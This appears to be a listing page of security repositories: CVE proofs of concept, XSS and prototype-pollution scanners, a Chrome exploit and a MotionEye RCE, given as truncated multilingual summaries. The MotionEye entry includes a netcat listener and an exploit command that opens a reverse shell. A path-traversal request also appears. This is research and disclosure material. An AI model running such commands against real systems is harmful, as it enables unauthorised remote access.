PublicSafe

PublicSafe 당신의 브라우저, 당신의 안전 공간 PublicSafe는 개인정보 보호, 암호화, 사용자 통제에 중점을 둔 무료 오픈소스 브라우저 확장 프로그램입니다. 사용자의 민감한 정보가 브라우저를 떠나기 전에 보호할 수 있도록 설계된 클라이언트 측 암호화 도구를 제공합니다. PublicSafe는 투명성, 보안, 접근성, 그리고 커뮤니티 주도 개발을 기반으로 구축되었습니다. 이 프로젝트는 제로 지식 설계, 로컬 키 관리, 누구나 독립적으로 감사할 수 있는 오픈소스 코드를 바탕으로 한 개인정보 우선 철학을 따릅니다. 목표...

ServiceNow - Cross-site Scripting

A XSS vulnerability was identified in the ServiceNow UI page assessmentredirect. To exploit this vulnerability, an attacker would need to persuade an authenticated user to click a maliciously crafted URL. Successful exploitation potentially could be used to conduct various client-side attacks,...

jspanda

JSPanda JSpanda는 클라이언트 측 프로토타입 오염 취약점 스캐너입니다. 두 가지 주요 기능이 있습니다: 제공된 URL의 취약점 스캔과 JavaScript 라이브러리의 소스 코드 분석입니다. 하지만 JSpanda는 고급 프로토타입 오염 취약점을 탐지할 수 없습니다. JSPanda 작동 방식 프로토타입 오염 취약점을 위해 여러 페이로드를 사용합니다. 스캔을 위해 대상의 모든 링크를 수집하고 JSpanda가 획득한 URL에 페이로드를 추가한 후, 헤드리스 Chromedriver로 각 URL을 탐색합니다. 잠재적으로 취약한...

smb

SMB SMB 통신을 위한 Go 패키지입니다. 현재는 클라이언트 측 기능만 최소한으로 구현되어 있습니다. 다음은 서버와 세션을 수립하는 샘플 클라이언트입니다: package main import "log" "github.com/stacktitan/smb/smb" func main host := "172.16.248.192" options := smb.Options Host: host, Port: 445, User: "alice", Domain: "corp", Workstation: "", Password:...

CVE-2019-17662

CVE-2019-17662 CVE 코드 수정 사용된 Prepared Requests는 python3 requests 모듈이 URL에서 ../를 정규화하는 방식과 같습니다. 예를 들어 다음 코드: r = requests.get"http://123.123.123.123/../../../../../../test" printstrr.statuscode 결과: GET /test HTTP/1.1 Host: 123.123.123.123 Connection: close Accept-Encoding: gzip, deflate Accept: /...

PoC-CVE-2024-24035

CVE-2024-24035 제목: SIL 3.1은 "hmessage" 매개변수에서 크로스 사이트 스크립팅XSS 취약점에 노출되어 있습니다. 날짜: 2024-01-14 작성자: Elizeu Das Dores 공급업체 홈페이지: https://www.setorinformatica.com/ 버전: 3.1 POC CVE-2024-24035 "hmessage" 매개변수는 DOM 기반 크로스 사이트 스크립팅XSS에 취약합니다...

ppfuzz

ppfuzz 프로토타입 오염 퍼저 Rust로 작성된 클라이언트 측 프로토타입 오염 취약점을 스캔하는 빠른 도구입니다. 🦀 설치 바이너리 소스 의존성 데모 사용법 기본 옵션 사용법 참고 자료 기여하기 귀속 감사의 말 라이선스 설치 바이너리 간단히, 릴리즈 페이지에서 미리 빌드된 바이너리를 다운로드하여 실행하세요! 소스 참고: Rust가 설치되어 있어야 합니다! --- cargo 사용: ▶ cargo install ppfuzz — 또는 소스 코드에서 수동으로 실행 파일 빌드: ▶ git clone...

ppfuzz

ppfuzz Prototype Pollution Fuzzer A fast tool to scan client-side prototype pollution vulnerability written in Rust. 🦀 Installation Binary Source Dependencies Demonstration Usage Basic Options Usage Supporting Materials Contributing Attribution Acknowledments License Installation Binary Simply,...

CVE-2024-48910-POC

CVE-2024-48910 개념 증명 이것은 CVE-2024-48910에 대한 개념 증명입니다. 이는 HTML, SVG, MathML을 위한 XSS 정화기인 DOMPurify에 존재했던 취약점입니다. 이 버전의 DOMPurify는 프로토타입 오염prototype pollution에 취약하며, 공격자가 임의의 JS 객체의 기본 프로토타입에 속성을 주입하여 애플리케이션의 모든 후속 객체가 이 악의적인 동작을 상속받도록 할 수 있습니다. 이 데모는 이를 활용하여 클라이언트 측 XSS를 달성하는 방법을 보여줍니다...

CVE-2026-106101

The Quasar Framework (prior to version 2.32.2 ) is vulnerable to a DOM Clobbering issue in the openURL() utility located in ui/src/utils/open-url/open-url.js. In an iOS environment, the utility incorrectly trusts window.SafariViewController if the global exists. An attacker can provide attacker-c...

CVE-2026-106101 Quasar Framework: DOM Clobbering in Quasar openURL() SafariViewController Integration Causes Client-Side Denial of Service

Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to 2.32.2, the openURL utility in ui/src/utils/open-url/open-url.js trusted window.SafariViewController whenever that global existed in an iOS environment. Attacker-controlled HTML rendered by components...

CVE-2026-106101 Quasar Framework: DOM Clobbering in Quasar openURL() SafariViewController Integration Causes Client-Side Denial of Service

Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to 2.32.2, the openURL utility in ui/src/utils/open-url/open-url.js trusted window.SafariViewController whenever that global existed in an iOS environment. Attacker-controlled HTML rendered by components...

oopso

oopso 検索エンジン全体で公開されたファイルマネージャーを発見するための、使いやすいクライアントサイド型OSINTクエリビルダーです。 バージョン: 1.0 特徴 マルチエンジン対応: フィンガープリントを自動的に Shodan、FOFA、ZoomEye、Censys のネイティブクエリ構文に変換します 幅広いカバレッジ: 24種類のWebファイルマネージャー（Tiny File Manager、elFinder、phpMyAdmin など）用の組み込みシグネチャを搭載 デュアルターゲットモード:...

Limbas-4.3.36.1319-is-vulnerable-to-Cross-Site-Scripting-XSS-

Limbas-4.3.36.1319는 Cross-Site ScriptingXSS에 취약함 설명 Limbas 4.3.36.1319는 Cross-Site ScriptingXSS에 취약합니다. LIMBAS http://www.limbas.org/ - 4.3.36.1319 개념 증명 UPDATE/up20.php 페이지가 XSS 코드로 반사됨 예시 페이로드 1'"&% XSS 상세 내용 Cross-site ScriptingXSS은 공격자가 합법적인 웹사이트나 웹 애플리케이션에 악성 스크립트를 실행할 수 있는 클라이언트 측 코드 삽입 공격을...

CVE-2022-46485

CVE-2022-46485 ngDoS - ngSurvey 참고: "슬라이더slider" 질문도 문자열 대신 큰 정수를 사용하여 취약할 수 있습니다. 제 로컬 환경에서는 확인할 수 없었습니다. 익스플로잇 단계 설문 페이지를 열고 텍스트 또는 댓글 필드를 찾습니다. 설문을 정상적으로 작성합니다. 텍스트 또는 댓글 필드에 dospayload를 입력합니다다른 문자열도 작동하지만 데모에서는 이 문자열을 사용하겠습니다. "제출Submit"을 클릭하되 Burp Suite로 요청을 가로챕니다. 요청을 마우스 오른쪽 버튼으로 클릭...

CVE-2025-60787_PoC

CVE-2025-60787 - MotionEye RCE MotionEye = 0.43.1b4에서 imagefilename 필드의 클라이언트 측 검증 우회를 통한 인증 RCE. 사용법 nc -lvnp 4444 python exploit.py -t http://127.0.0.1:8765 -p password -lh IP -lp 4444 플래그 플래그| 설명 ---|--- -t| 대상 호스트/URL 기본 포트 8765 -u| 사용자 이름 기본값: admin -p| 비밀번호 - GUI에 입력하는 값과 동일 / motion.conf에서...

vi-bot

BotDetect v2 — 프로덕션 봇 탐지 라이브러리 클라이언트 측 봇 및 자동화 탐지 라이브러리로, 가중치 기반 점수 산정, 행동 분석, 브라우저 지문 인식, 설정 가능한 임계값을 제공합니다. 헤드리스 브라우저, Selenium, Puppeteer, Playwright, CDP 기반 도구, 스텔스 자동화 프레임워크를 탐지합니다. v2.1.0 — 탐지 방지 허니팟, GPU 안정적 캔버스 지문 인식, 향상된 행동 분석, 지연 초기화, 서버 측 변조 탐지, 요청 지문 바인딩, 속도 제한. 목차 기능 아키텍처 빠른 시작 클라이언트...

CVE-2023-45540

HTML-Injection...

CVE-2021-21220

먼저 설치: https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Winx64/848005/ Chrome 버전: 90.0.4403.0 chrome-win.zip 설치 1. node server.js ./chrome.exe --no-sandbox 실행 localhost:8888로 이동 참고로, 이 익스플로잇이 의존하는 CVE는 CVE 2021-21220입니다. 이 취약점은 호스팅되는 웹사이트를 기반으로 합니다. 핵심 아이디어는...

CVE-2021-24891-Simulation

WordPress의 Elementor Website Builder 플러그인에서 발견된 CVE-2021-24891로 식별된 DOM 기반 교차 사이트 스크립팅XSS 취약점을 시뮬레이션하고 익스플로잇할 수 있는 실습형 컨테이너화된 랩 환경입니다. 📖 취약점 소개 이 랩은 WordPress용 Elementor 플러그인버전 3.4.8 이전의 DOM 기반 교차 사이트 스크립팅XSS 취약점을 시연합니다. 이 취약점은 Elementor 편집기의 클라이언트 측 코드가 URL의 해시...에서 데이터를 직접 읽고 적절한 삭제sanitization...